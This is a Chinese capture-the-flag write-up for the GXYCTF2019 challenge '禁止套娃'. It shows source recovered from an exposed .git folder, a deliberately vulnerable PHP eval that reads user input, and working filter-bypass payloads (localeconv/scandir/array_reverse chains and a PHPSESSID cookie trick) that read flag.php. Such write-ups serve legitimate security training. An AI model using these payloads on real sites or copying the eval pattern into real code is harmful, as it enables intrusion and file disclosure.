[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等

扫除git

通过githack

获取index.php

复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

发现是命令执行 并且存在过滤

我们之前使用的 print_r(dirname(FILE));

在这里不可以使用

1.localeconv()

直接上payload了

复制代码
print_r(localeconv());

通过current指定第一个 .

复制代码
?exp=print_r(current(localeconv()));

这样我们配合 scandir 就可以实现 scandir('.')了

复制代码
?exp=print_r(scandir(current(localeconv())));

这里我们无法使用[] 所以我们可以通过 array_reverse 倒序数组 然后next即可

复制代码
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
复制代码
/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

2.seesion_id

正常情况下 不开启 seesion 服务 但是如果我们可以通过 seesion_start()开启

我们就可以通过 seesion传递值

复制代码
?exp=print_r(session_id(session_start()))


bp中加

Cookie: PHPSESSID=flag.php

然后一样通过 highlight_file即可

相关推荐
格拉格拉1 小时前
PHP基础知识
开发语言·php·php基础
鹿鸣天涯4 小时前
网络安全等级保护测评高风险判定实施指引(试行)--2020与2025版对比
开发语言·php
贝西奇谈5 小时前
JavaScript DOM节点操作详解
开发语言·javascript·php
报错小能手5 小时前
计算机网络自顶向下方法4——详解协议层次及其服务模型
服务器·计算机网络·php
光影34156 小时前
专利撰写与申请核心要点简报
前端·数据库·php
应用市场6 小时前
PHP microtime()函数精度问题深度解析与解决方案
android·开发语言·php
没有故事、有酒7 小时前
Axios
开发语言·php
BingoGo7 小时前
Laravel 新项目避坑指南10 大基础设置让代码半年不崩
后端·php
报错小能手8 小时前
计算机网络自顶向下方法16——应用层 因特网视频 HTTP流和DASH
开发语言·计算机网络·php
JaguarJack9 小时前
Laravel 新项目避坑指南10 大基础设置让代码半年不崩
后端·php·laravel